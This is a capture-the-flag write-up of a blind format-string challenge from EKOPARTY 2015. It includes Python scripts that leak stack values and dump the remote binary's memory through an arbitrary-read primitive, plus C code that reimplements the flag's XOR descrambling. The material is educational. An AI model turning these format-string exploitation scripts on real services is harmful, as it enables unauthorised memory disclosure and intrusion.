The first thing I noticed about this pwnable challenge is that no source code was provided…. Uh oh. Connecting to the service returns

<Simple loop greetings v1.3.3.7>

[!] Type bye to quit

Enter your name:

The binary appears to take in your name and then tell you Hi.

Without having a binary to look at, I decided to just try fuzzing the service a little bit. Unfortunately this didn’t provide me with any clues. After thinking about it a little more, I decided to try a format string since that class of bug is one of the few you can exploit without source since it typically doubles as a memory disclosure.

Success!!!   The challenge indeed contains a format string bug but unfortunately there is a 12 character limit on the input so I have to dump one address at a time. The first order of business was to dump all the memory on the stack from our starting point. I spun up the following python script to do just that.

[sourcecode language=”python”] import socket

host = "challs.ctf.site"
port = 20002

csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
csock.connect ( (host, port) )
csock.settimeout(5)

data = csock.recv(4096)

for i in range(1, 126):

resp = ‘%’ + str(i) + "$x"
csock.send(resp)

data = csock.recv(4096).replace(‘Hi’,”)
data = data.replace("Enter your name:","")
data = data.replace("n","").replace(‘(nil)’, ’00’).strip()

print "Index: " + str(i)
numzero = 8 – len(data)
data = ‘0’ * numzero + data

print data

csock.close()[/sourcecode]

Running the script I was able to collect a little more information about the challenge binary.

Index: 1
13370a97
Index: 2
0000000c
Index: 3
1337070e
Index: 4
00000010
Index: 5
13370326
Index: 6
00000000
Index: 7
25000000
Index: 8
00782438
Index: 9
00000000
Index: 10
00000000
………………
………………

 

Modifying the script to output strings (%s) instead of addresses returns a few interesting results, namely the false flag “3k0_p4rty_2015!” listed in the challenge description. From here I determined it must be necessary to dump the rest of the binary from memory using my format string. Given some of the return addresses I collected from my initial dump, I reworked my script to input an address followed by a format string (%s) that will print out what data is at that address, aka an arbitrary read primitive. Since these will be output as strings, I just convert the output to hex and repeatedly append the output until I’ve got all the memory dumped. My new script is below.

[sourcecode language=”python”] import socket
import struct
import binascii

host = "challs.ctf.site"
port = 20002

addr = 0x13370000 #- begin address

csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
csock.connect ( (host, port) )

#Receive first
data = csock.recv(4096)
print data

hex_data = ”
while True:

#put the memory address
header = ‘A’+ struct.pack(‘I’, addr)
resp = header + ‘%’ + str(i) + "$s"

#send the format str
csock.send(resp)

#receive the response
data = csock.recv(4096).replace(‘Hi’,”)
data = data.replace("Enter your name:","").strip()
data = data.replace(header, ”)

hex_data = binascii.hexlify(data)
incr = len(data)
if incr < 1:
hex_data = ’00’
incr = 1

addr += incr

#print data at address
print hex(addr) + ": " + hex_data

csock.close()

[/sourcecode]

Now that I have the memory dump, I just convert it to binary and write it to a file so I can disassemble it. Opening the binary in IDA Pro I get alot more visibility into what the program is doing. I’ve listed the pseudocode for the main and processing functions below

I was able to identify most of the functions based on context and the imports I had dumped from memory but some were still hard to determine, ie. strstr vs strcmp. The function I labeled process_msg contains the main receive loop and appears output the flag if the input is “Welcome to ekoparty 2015!”. Unfortunately with the 12 character limitation this is not possible directly. Prior to printing out what I presume to be the flag, the following function is called twice to likely descramble the flag.

This function appears to be a simple XOR cipher. Since I have the pseudocode for this function and the memory dump it is accessing, I just decided to recompile the XOR function and the strings it converts. This XOR function appears to be called once more in the main to initialize the key used for the two subsequent calls in the process_msg function. Grabbing all the necessary inputs for my program I constructed the following c code.

[sourcecode language=”c”] #include "stdafx.h"
#include <stdlib.h>
#include <string.h>

char key_init[] = { "x07x5bx54x03x40x0fx4cx1axb2x0bx0cx0bx04x77x1ex24x4cx79x42xe7x2cxb4xbfxa0x40x7ax79x7ax32x0cx68xb9x32xb7xf0x62xa7xacxa6xe0x68x6ax6fx54x28x59xa8x3dxeex97x04x93x9fxcdxf0x5bx0ax08x0bx3ex5fxcdx5fxafx00"};
char fmt[] = {"x71x73x27x1fx1dx48x47x00"};
char flag[] = {"x56x0cx0ax1dx67x08x42x18x57x5cx53x4fx1ax04x72x21x18x3ax31x05x49x26x2cx18x09x1ex1ax70x5cx6bx00"};
char eko[] = {"3k0_p4rty_2015!x00"};

char * xor_func(char *arg1, char * arg2){

char *result; // eax@2
signed int i; // [sp+10h] [bp-18h]@3
int arg2_len; // [sp+14h] [bp-14h]@1
int arg1_len; // [sp+18h] [bp-10h]@1
char *temp_buf; // [sp+1Ch] [bp-Ch]@1

arg2_len = strlen(arg2);
arg1_len = strlen(arg1);
temp_buf = (char *)malloc(arg1_len + 1); //was arg2
memset(temp_buf, 0, arg1_len + 1); //new

if ( temp_buf )
{
for ( i = 0; i < arg1_len /*&& (unsigned int)i <= 3*/; ++i )
*(char *)(i + temp_buf) = *(char *)(i + arg1) ^ (*(char *)(i % arg2_len + arg2) + i);
result = temp_buf;
}
else
{
printf("WTF no memory :s"); // WTF no memory :s
result = 0;
}
return result;
}

int _tmain(int argc, _TCHAR* argv[])
{
char *key;
char *fmt_ret;
char *flag_ret;

key = xor_func(key_init, eko); // 3k0_p4rty_2015!

//Skip to print key
fmt_ret = xor_func(fmt, key);
flag_ret = xor_func(flag, key);
printf(fmt_ret, flag_ret);
return 0;
}

[/sourcecode]

 

The code from the binary actually didn’t work originally as it contained a bug in the xor function in the loop iterator. It also needed to memset the newly allocated buffer that was being used to aggregate the output from the xor loop. Finally, after running my c code we get the key.

EKO{b4by_3xpl0it_FMT_str1ng_FTW!#$}